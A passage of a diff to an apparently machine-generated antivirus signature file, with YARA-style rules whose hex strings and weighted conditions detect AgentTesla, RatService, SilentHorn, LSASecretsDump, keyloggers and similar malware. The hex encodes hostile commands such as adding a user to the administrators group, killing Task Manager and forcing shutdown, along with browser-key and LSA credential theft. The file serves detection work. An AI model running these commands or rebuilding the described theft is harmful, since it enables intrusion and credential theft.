6e 74 54 65 73 6c 61 2e 52 56 44 5a 30 31 21 4d 54 } //8448 TR:Trojan:MSIL/AgentTesla.RVDZ01!MT + $a_6e_2 = {01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 08 80 01 47 65 74 42 79 74 65 73 00 00 78 b8 00 00 68 00 68 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 41 21 4d 54 42 00 64 00 1c 81 01 63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 46 6f 72 6d 31 2e 72 } //29300 + $a_75_3 = {63 65 73 01 00 16 81 01 73 74 61 72 74 46 6f 72 6d 54 77 6f 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 73 74 61 72 74 46 6f 72 6d 54 68 72 65 65 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 81 01 66 6f 72 67 6f 74 70 61 73 73 77 6f 72 64 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 0d 81 01 70 72 6f 63 65 73 73 20 57 69 6e 52 4d 00 } //29541 + $a_00_4 = {00 9a 01 9a 01 07 00 21 23 48 53 54 52 3a 53 75 73 70 44 72 69 76 65 72 49 6d 70 6f 72 74 73 00 64 00 10 01 4b 65 49 6e 73 65 72 74 51 75 65 75 65 41 70 63 64 00 17 01 5a 77 41 6c 6c 6f 63 61 74 65 56 69 72 74 75 61 6c 4d 65 6d 6f 72 79 64 00 0f 01 50 73 47 65 74 50 72 6f 63 65 73 73 50 65 62 64 00 19 01 4d 6d 47 65 74 53 79 73 74 65 6d 52 6f 75 74 69 6e 65 41 64 64 72 65 73 73 0a 00 0e 01 46 77 70 6d 46 69 6c 74 65 72 41 64 64 30 0a 00 10 01 52 74 6c 49 6d 61 67 65 4e 74 48 65 61 64 65 72 0a 00 0e 01 5a 77 54 72 61 63 65 43 6f 6e 74 72 6f 6c 00 } //30720 + $a_00_5 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 44 5a 30 31 21 4d 54 42 00 01 00 84 03 16 13 06 2b 66 00 20 00 01 00 00 13 07 11 06 17 58 13 08 11 06 07 20 88 00 00 00 58 5d 13 09 08 11 09 91 13 0a 11 06 1f 16 5d 13 0b 17 13 0c 00 16 13 0d 08 11 09 11 0a 1f 16 8d 90 01 01 00 00 01 25 d0 90 01 01 00 00 04 28 90 01 01 00 00 0a 11 0b 91 61 08 11 08 07 20 88 00 00 00 58 5d 91 11 07 58 11 07 5d 59 d2 9c 00 00 11 06 17 58 13 06 11 06 07 20 88 00 00 00 58 fe 04 13 0e 11 0e 2d 89 90 00 00 } //30720 condition: - ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*25446+(#a_6e_2 & 1)*29300+(#a_61_3 & 1)*29810+(#a_48_5 & 1)*8448) >=52 + ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*25446+(#a_6e_2 & 1)*29300+(#a_75_3 & 1)*29541+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=52 } -rule _InfrastructureShared_12804{ +rule _InfrastructureShared_13636{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,68 00 68 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 41 21 4d 54 42 00 64 00 1c 81 01 63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 16 81 01 73 } //21539 + $a_74_1 = {6f 72 6d 54 77 6f 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 73 74 61 72 74 46 6f 72 6d 54 68 72 65 65 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 81 01 66 6f 72 67 6f 74 70 61 73 73 77 6f 72 64 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 0d 81 01 70 72 6f 63 65 73 73 20 57 69 6e 52 4d 00 00 78 b8 00 00 9a 01 9a 01 07 00 21 23 48 53 54 52 } //24948 + $a_73_2 = {44 72 69 76 65 72 49 6d 70 6f 72 74 73 00 64 00 10 01 4b 65 49 6e 73 65 72 74 51 75 65 75 65 41 70 63 64 00 17 01 5a 77 41 6c 6c 6f 63 61 74 65 56 69 72 74 75 61 6c 4d 65 6d 6f 72 79 64 00 0f 01 50 73 47 65 74 50 72 6f 63 65 73 73 50 65 62 64 00 19 01 4d 6d 47 65 74 53 79 73 74 65 6d 52 6f 75 74 69 6e 65 41 64 64 72 65 73 73 0a 00 0e 01 46 77 70 6d } //21306 + $a_74_3 = {72 41 64 64 30 0a 00 10 01 52 74 6c 49 6d 61 67 65 4e 74 48 65 61 64 65 72 0a 00 0e 01 5a 77 54 72 61 63 65 43 6f 6e 74 72 6f 6c 00 00 78 b9 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 44 5a 30 31 21 4d 54 42 00 01 00 84 03 16 13 06 2b 66 00 20 00 } //26950 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*24948+(#a_73_2 & 1)*21306+(#a_74_3 & 1)*26950) >=104 + +} +rule _InfrastructureShared_13637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff9a 01 ffffff9a 01 07 00 21 " @@ -143363,7 +152832,7 @@ rule _InfrastructureShared_12804{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25189+(#a_72_2 & 1)*14930+(#a_11_3 & 1)*3347+(#a_25_4 & 1)*0+(#a_01_6 & 1)*10244) >=410 } -rule _InfrastructureShared_12805{ +rule _InfrastructureShared_13638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -143373,7 +152842,7 @@ rule _InfrastructureShared_12805{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12806{ +rule _InfrastructureShared_13639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -143384,7 +152853,7 @@ rule _InfrastructureShared_12806{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*400) >=1 } -rule _InfrastructureShared_12807{ +rule _InfrastructureShared_13640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -143395,7 +152864,7 @@ rule _InfrastructureShared_12807{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112) >=1 } -rule _InfrastructureShared_12808{ +rule _InfrastructureShared_13641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -143406,7 +152875,7 @@ rule _InfrastructureShared_12808{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*-5439) >=1 } -rule _InfrastructureShared_12809{ +rule _InfrastructureShared_13642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -143417,7 +152886,7 @@ rule _InfrastructureShared_12809{ ((#a_54_0 & 1)*18467+(#a_f1_1 & 1)*-14839) >=1 } -rule _InfrastructureShared_12810{ +rule _InfrastructureShared_13643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -143428,7 +152897,23 @@ rule _InfrastructureShared_12810{ ((#a_46_0 & 1)*21283+(#a_c1_1 & 1)*400) >=1 } -rule _InfrastructureShared_12811{ +rule _InfrastructureShared_13644{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 6e 4f 72 62 69 74 2e 41 21 64 68 61 00 01 00 0a 01 63 74 78 5f 68 61 73 68 3d 3e 01 00 10 01 62 6f 64 79 5f 6a 73 6f 6e 5f 68 61 73 68 3d 3e 01 00 10 01 64 65 72 69 76 65 64 5f } //16675 + $a_5f_1 = {32 3d 3e 01 00 12 01 68 65 61 64 65 72 5f 6a 73 6f 6e 5f 68 61 73 68 3d 3e 01 00 14 01 68 65 61 64 65 72 5f 62 36 34 75 72 6c 5f 68 61 73 68 3d 3e 01 00 12 01 62 6f 64 79 5f 62 36 34 75 72 6c 5f 68 61 73 68 3d 3e 01 00 0f 01 73 69 67 6e 61 74 75 72 65 5f 62 36 34 3d 3e 00 00 78 b9 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 } //25963 + $a_6f_2 = {64 65 6e 45 79 65 52 61 6e 73 6f 6d 77 61 72 65 5f 44 72 6f 70 70 65 72 5f 4d 61 6c 66 6f 72 6d 65 64 5a 6f 6f 00 02 00 4b 03 5a 6f 6f 6d 49 74 20 2d 20 53 79 73 69 6e 74 65 72 6e 61 6c 73 3a 20 77 77 77 2e 73 79 } //12143 + $a_74_3 = {72 6e 61 6c 73 2e 63 6f 6d 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 ff ff 20 01 4d 00 61 00 72 00 6b 00 20 00 52 00 75 00 73 00 73 00 69 00 6e 00 6f 00 76 00 69 00 63 00 68 00 00 00 78 b9 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f } //26995 + $a_74_4 = {65 63 75 72 65 00 01 00 41 01 68 74 74 70 3a 2f 2f 73 74 61 74 69 63 2e 68 6f 73 74 73 65 63 75 72 65 70 6c 75 67 69 6e 2e 63 6f 6d 2f 73 64 62 2f 66 64 2f 68 6f 73 74 2d 73 65 63 75 72 65 2d 75 70 64 61 74 65 72 2e 78 6d 6c 01 00 48 00 32 00 42 00 30 00 31 00 38 00 33 00 44 00 36 00 2d 00 33 00 43 00 32 00 32 00 2d 00 34 00 46 00 30 00 42 00 } //28488 + $a_00_5 = {36 00 32 00 46 00 2d 00 35 00 38 00 41 00 46 00 35 00 32 00 46 00 36 00 36 00 36 00 30 00 36 00 00 00 78 b9 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 74 53 65 72 76 69 } //45 + $a_41_6 = {64 68 61 00 02 00 40 01 52 00 61 00 74 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 32 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 } //25955 + condition: + ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*25963+(#a_6f_2 & 1)*12143+(#a_74_3 & 1)*26995+(#a_74_4 & 1)*28488+(#a_00_5 & 1)*45+(#a_41_6 & 1)*25955) >=1 + +} +rule _InfrastructureShared_13645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -143439,7 +152924,7 @@ rule _InfrastructureShared_12811{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*28274) >=2 } -rule _InfrastructureShared_12812{ +rule _InfrastructureShared_13646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -143450,18 +152935,33 @@ rule _InfrastructureShared_12812{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29997) >=2 } -rule _InfrastructureShared_12813{ +rule _InfrastructureShared_13647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 74 53 65 72 76 69 63 65 2e 41 21 64 68 61 00 02 00 40 01 52 00 61 00 74 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 32 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 } //16675 牔橯湡䴺䥓⽌慒却牥楶散䄮搡慨Ȁ䀀刁愀琀匀攀爀瘀椀挀攀㈀⸀倀爀漀瀀攀爀琀椀攀猀 - $a_00_2 = {6f 00 75 00 72 00 63 00 65 00 73 00 01 00 24 01 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 54 00 69 00 6d 00 65 00 20 00 4c 00 6f 00 63 00 61 00 6c 00 01 00 1e 01 52 00 61 00 74 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 32 00 2e 00 65 00 78 00 65 00 00 00 78 b9 00 00 02 00 02 00 08 00 21 23 54 45 4c 3a 50 55 41 3a 57 69 6e 33 32 2f 43 } //101 + $a_00_2 = {6f 00 75 00 72 00 63 00 65 00 73 00 01 00 24 01 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 54 00 69 00 6d 00 65 00 20 00 4c 00 6f 00 63 00 61 00 6c 00 01 00 1e 01 52 00 61 00 74 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 32 00 2e 00 65 00 78 00 65 00 00 00 78 b9 00 00 02 00 02 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 55 49 49 6e } //101 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=2 } -rule _InfrastructureShared_12814{ +rule _InfrastructureShared_13648{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 55 49 49 6e 74 65 72 61 63 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 10 81 01 53 65 74 57 69 6e 64 6f 77 73 48 6f 6f 6b 45 78 01 00 10 81 01 47 65 74 41 73 79 6e 63 4b 65 79 53 74 61 74 65 01 00 0e 81 01 43 61 6c 6c 4e 65 78 } //18467 + $a_6f_1 = {45 78 01 00 0b 81 01 47 65 74 4b 65 79 53 74 61 74 65 01 00 10 81 01 47 65 74 4b 65 79 62 6f 61 72 64 53 74 61 74 65 01 00 13 81 01 53 65 74 57 69 6e 64 6f 77 73 45 76 65 6e 74 48 6f 6f 6b 01 00 0f 81 01 53 65 74 57 69 6e 45 76 65 6e 74 48 6f 6f 6b 00 00 78 b9 00 00 02 00 02 00 08 00 21 23 54 45 4c 3a 50 55 41 3a 57 69 6e 33 32 2f } //18548 + $a_6f_2 = {6e 6c 6f 61 64 65 72 00 01 00 10 01 64 6f 77 6e 2e 78 69 61 7a 61 69 32 2e 6e 65 74 01 00 0e 01 64 6f 77 6e 6c 6f 61 64 5f 71 75 69 65 74 01 00 10 01 64 6f 77 6e 2e 67 75 61 6e 67 73 75 2e 63 6f 6d 01 00 } //28227 + $a_69_3 = {7a 61 69 2e 72 69 6c 69 62 69 61 6f 2e 63 6f 6d 2e 63 6e 01 00 0b 01 31 32 33 2e 61 31 30 31 2e 63 63 01 00 06 01 75 72 6c 2e 63 6e 01 00 10 01 61 67 65 6e 74 2e 6b 75 61 69 62 6f 2e 63 6f 6d 01 00 0f 01 73 74 75 6e 2e 6b 75 61 69 62 6f 2e 63 6f 6d 00 00 78 b9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 45 53 54 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //278 + $a_54_4 = {21 4d 54 42 00 01 00 74 00 03 02 28 a7 00 00 06 14 20 71 04 a4 08 1c 20 c5 00 00 00 28 40 01 00 06 16 8d 06 00 00 01 14 14 14 28 45 00 00 0a 16 28 46 00 00 0a 0a 17 0c 2b a9 06 7e 6c 00 00 04 20 b7 01 00 00 7e 6c 00 00 04 20 b7 01 00 00 91 7e 6c 00 } //11873 + $a_75_5 = {61 1f 3a 5f 9c 2c 04 1b 0c 2b 80 18 2b fa 02 16 7d 2e 00 00 04 1c 0c 38 6f ff ff ff 02 17 7d } //1024 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*18548+(#a_6f_2 & 1)*28227+(#a_69_3 & 1)*278+(#a_54_4 & 1)*11873+(#a_75_5 & 1)*1024) >=2 + +} +rule _InfrastructureShared_13649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -143478,7 +152978,7 @@ rule _InfrastructureShared_12814{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*26414+(#a_4d_2 & 1)*21587+(#a_00_3 & 1)*10260+(#a_17_4 & 1)*-1+(#a_0c_5 & 1)*1024+(#a_00_6 & 1)*3+(#a_46_7 & 1)*16675) >=2 } -rule _InfrastructureShared_12815{ +rule _InfrastructureShared_13650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -143490,7 +152990,7 @@ rule _InfrastructureShared_12815{ ((#a_46_0 & 1)*16675+(#a_0c_1 & 1)*2570+(#a_00_2 & 1)*32401) >=3 } -rule _InfrastructureShared_12816{ +rule _InfrastructureShared_13651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -143502,19 +153002,32 @@ rule _InfrastructureShared_12816{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*2422+(#a_6f_2 & 1)*12082) >=3 } -rule _InfrastructureShared_12817{ +rule _InfrastructureShared_13652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 70 79 2e 32 00 01 00 36 01 54 00 68 00 65 00 20 00 53 00 74 00 65 00 61 00 6c 00 74 00 68 00 20 00 4d 00 6f 00 64 00 65 00 20 00 69 00 73 00 20 00 73 00 74 00 61 00 } //18467 - $a_00_1 = {65 00 64 00 01 00 2e 01 4b 00 65 00 79 00 73 00 74 00 72 00 6f 00 6b 00 65 00 73 00 20 00 54 00 79 00 70 00 65 00 64 00 3c 00 2f 00 73 00 70 00 61 00 6e 00 3e 00 01 00 1a 01 61 00 63 00 63 00 53 00 76 00 63 00 48 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 78 b9 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 } //114 - $a_2f_2 = {68 61 6d 2e 49 21 62 69 74 00 01 00 1b 01 74 61 73 6b 6b 69 6c 6c 20 2f 66 20 2f 69 6d 20 74 61 73 6b 6d 67 72 2e 65 78 65 01 00 14 03 61 70 70 6c 61 } //13166 + $a_00_1 = {65 00 64 00 01 00 2e 01 4b 00 65 00 79 00 73 00 74 00 72 00 6f 00 6b 00 65 00 73 00 20 00 54 00 79 00 70 00 65 00 64 00 3c 00 2f 00 73 00 70 00 61 00 6e 00 3e 00 01 00 1a 01 61 00 63 00 63 00 53 00 76 00 63 00 48 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 78 b9 00 00 03 00 03 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 41 74 74 65 6d 70 74 65 } //114 + $a_6f_2 = {6c 69 6e 67 2e 41 00 01 00 1b 03 45 8b c7 33 d2 b9 38 0e 00 00 ff 15 90 01 04 48 8b 4c 24 30 48 89 44 24 30 90 00 01 00 1f 03 bb 0c 00 00 00 44 8b cb 90 01 07 48 8b 15 90 01 04 48 8b 4c 24 30 ff 15 90 01 04 85 c0 90 00 01 00 24 03 48 89 44 24 20 90 01 03 44 8b cf 4c 8b 44 24 48 48 8b 15 90 01 04 48 8b 4c 24 30 ff 15 90 01 04 85 c0 90 00 01 } //21604 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_2f_2 & 1)*13166) >=3 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_6f_2 & 1)*21604) >=3 } -rule _InfrastructureShared_12818{ +rule _InfrastructureShared_13653{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_4c_0 = {57 69 6e 36 34 2f 41 74 74 65 6d 70 74 65 64 54 72 6f 6c 6c 69 6e 67 2e 41 00 01 00 1b 03 45 8b c7 33 d2 b9 38 0e 00 00 ff 15 90 01 04 48 8b 4c 24 30 48 89 44 24 30 90 00 01 00 1f 03 bb 0c 00 00 00 44 8b cb } //21539 + $a_48_1 = {15 90 01 04 48 8b 4c } //400 + $a_15_2 = {01 04 85 c0 90 00 01 00 24 03 48 89 44 24 20 90 01 03 44 8b cf 4c 8b 44 24 48 48 8b 15 90 01 04 48 8b 4c 24 30 ff 15 90 01 04 85 c0 90 00 01 00 23 03 48 89 74 24 20 4c 8b 4c 24 48 4c 8b 44 24 78 48 8b 15 90 01 04 48 8b 4c 24 30 ff 15 90 01 04 85 c0 90 00 00 00 78 b9 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 68 61 6d 2e 49 21 62 69 74 00 01 00 1b 01 74 61 73 6b 6b 69 6c 6c 20 2f 66 20 2f 69 6d 20 74 61 73 6b 6d 67 72 2e 65 78 65 01 00 14 03 61 70 70 6c 61 6e 67 2e 74 6b 90 02 02 62 61 67 65 74 90 00 01 00 0f 03 74 69 74 6c 65 90 02 02 50 57 4e 45 44 90 00 01 00 0e 01 73 68 75 74 64 6f 77 6e 20 2d 73 20 2d 74 01 00 2e 01 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 74 61 72 74 20 4d 65 } //12324 + $a_50_3 = {6f 67 72 61 6d 73 5c 53 74 61 72 74 75 70 00 00 78 b9 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 64 64 55 73 65 72 2e 48 21 62 69 74 00 01 00 38 03 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 74 61 72 74 } //30062 + condition: + ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*400+(#a_15_2 & 1)*12324+(#a_50_3 & 1)*30062) >=3 + +} +rule _InfrastructureShared_13654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -143527,20 +153040,33 @@ rule _InfrastructureShared_12818{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*25090+(#a_41_3 & 1)*8448+(#a_5c_4 & 1)*14336) >=3 } -rule _InfrastructureShared_12819{ +rule _InfrastructureShared_13655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 64 64 55 73 65 72 2e 48 21 62 69 74 00 01 00 38 03 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 74 61 72 74 20 4d 65 6e 75 5c 50 72 6f 67 72 61 6d 73 5c 53 } //16675 - $a_74_1 = {70 5c 90 02 20 2e 65 78 65 90 00 01 00 0d 01 6e 65 74 20 75 73 65 72 20 2f 61 64 64 01 00 26 03 6e 65 74 20 6c 6f 63 61 6c 67 72 6f 75 70 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 90 02 20 2f 61 64 64 90 00 03 00 10 01 73 6f 6d 65 5f 72 61 6e 64 6f 6d 5f 73 68 69 74 00 00 78 b9 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //24948 - $a_6c_2 = {61 64 65 72 2e 4b 45 45 49 31 32 33 21 4d 54 42 00 01 00 26 81 01 70 72 65 63 61 72 63 69 6e 6f 6d 61 74 6f 75 73 20 70 72 69 6d 61 76 65 72 61 6c 20 72 65 6e 65 67 61 74 65 72 73 01 00 0d 81 01 74 72 69 6b 6f 74 65 74 73 2e 65 78 65 01 00 13 81 01 74 65 72 72 65 6f 75 73 20 76 61 65 72 74 73 6c 61 6e 64 01 00 35 81 01 74 72 61 6e 73 70 6f 73 69 74 } //18223 - $a_65_3 = {73 20 64 79 72 65 68 65 6c 73 65 74 69 6c 73 79 6e 20 61 66 67 69 66 74 73 6b 6f 6e 74 72 6f 6c 6c 65 72 6e 65 73 00 00 78 b9 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 53 41 53 65 63 72 65 74 73 44 75 6d 70 21 64 68 61 00 01 00 0f 01 50 6f 6c 69 63 79 5c 53 65 63 72 65 74 73 00 01 } //28521 + $a_74_1 = {70 5c 90 02 20 2e 65 78 65 90 00 01 00 0d 01 6e 65 74 20 75 73 65 72 20 2f 61 64 64 01 00 26 03 6e 65 74 20 6c 6f 63 61 6c 67 72 6f 75 70 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 90 02 20 2f 61 64 64 90 00 03 00 10 01 73 6f 6d 65 5f 72 61 6e 64 6f 6d 5f 73 68 69 74 00 00 78 b9 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 } //24948 + $a_2f_2 = {69 6c 65 6e 74 48 6f 72 6e 2e 41 00 03 00 21 01 20 3c 62 72 6f 77 73 65 72 54 79 70 65 3a 20 63 68 72 6f 6d 65 7c 62 72 61 76 65 7c 65 64 67 65 3e 01 00 0f } //13934 + $a_43_3 = {59 50 54 45 44 20 4b 45 59 3a 20 01 00 1f 01 44 65 63 72 79 70 74 69 6f 6e 20 66 61 69 6c 65 64 2e 20 4c 61 73 74 20 65 72 72 6f 72 3a 20 01 00 35 01 4d 61 6c 66 6f 72 6d 65 64 20 27 61 70 70 5f 62 6f 75 6e } //17409 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*24948+(#a_6c_2 & 1)*18223+(#a_65_3 & 1)*28521) >=4 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*24948+(#a_2f_2 & 1)*13934+(#a_43_3 & 1)*17409) >=4 } -rule _InfrastructureShared_12820{ +rule _InfrastructureShared_13656{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {50 57 53 3a 57 69 6e 36 34 2f 53 69 6c 65 6e 74 48 6f 72 6e 2e 41 00 03 00 21 01 20 3c 62 72 6f 77 73 65 72 54 79 70 65 3a 20 63 68 72 6f 6d 65 7c 62 72 61 76 65 7c 65 64 67 65 3e 01 00 0f 01 44 45 43 52 59 50 54 45 44 20 4b 45 } //16675 + $a_01_1 = {00 1f 01 44 65 63 72 79 70 74 69 6f 6e 20 66 61 69 6c 65 64 2e 20 4c 61 73 74 20 65 72 72 6f 72 } //14937 + $a_00_2 = {35 } //8250 5 + $a_6c_3 = {6f 72 6d 65 64 20 27 61 70 70 5f 62 6f 75 6e 64 5f 65 6e 63 72 79 70 74 65 64 5f 6b 65 79 27 20 69 6e 20 4c 6f 63 61 6c 20 53 74 61 74 65 20 66 69 00 00 78 b9 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 49 31 32 33 21 4d 54 42 00 01 00 } //19713 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*14937+(#a_00_2 & 1)*8250+(#a_6c_3 & 1)*19713) >=4 + +} +rule _InfrastructureShared_13657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -143553,7 +153079,7 @@ rule _InfrastructureShared_12820{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29556+(#a_72_2 & 1)*25632+(#a_00_3 & 1)*101) >=4 } -rule _InfrastructureShared_12821{ +rule _InfrastructureShared_13658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -143561,27 +153087,53 @@ rule _InfrastructureShared_12821{ $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 53 41 53 65 63 72 65 74 73 44 75 6d 70 21 64 68 61 00 01 00 0f 01 50 6f 6c 69 63 79 5c 53 65 63 72 65 74 73 00 01 00 1e 01 4c 00 53 00 41 00 53 00 65 00 63 00 72 00 65 00 74 00 73 } //16675 $a_00_2 = {00 00 01 00 1c 00 5c 72 65 6c 65 61 73 65 5c 4c 53 41 53 65 63 72 65 74 73 44 75 6d 70 2e 70 64 62 00 01 00 07 01 2d 65 6d 70 74 79 00 01 00 0a 01 2d 65 78 74 65 72 6e 61 6c 00 01 00 17 01 4c 73 61 52 65 74 72 69 65 76 65 50 72 69 76 61 74 65 44 61 74 61 00 00 00 78 b9 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 } //109 $a_65_3 = {74 68 65 72 41 6c 65 72 74 73 2e 4b 53 35 37 00 01 00 15 80 01 53 65 76 65 72 65 20 57 65 61 74 68 65 72 20 41 6c 65 72 74 73 01 00 1a 80 01 57 65 61 74 68 65 72 20 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 01 00 13 80 01 53 65 76 65 72 65 57 65 61 } //12082 - $a_72_4 = {6c 65 72 74 73 01 00 17 80 01 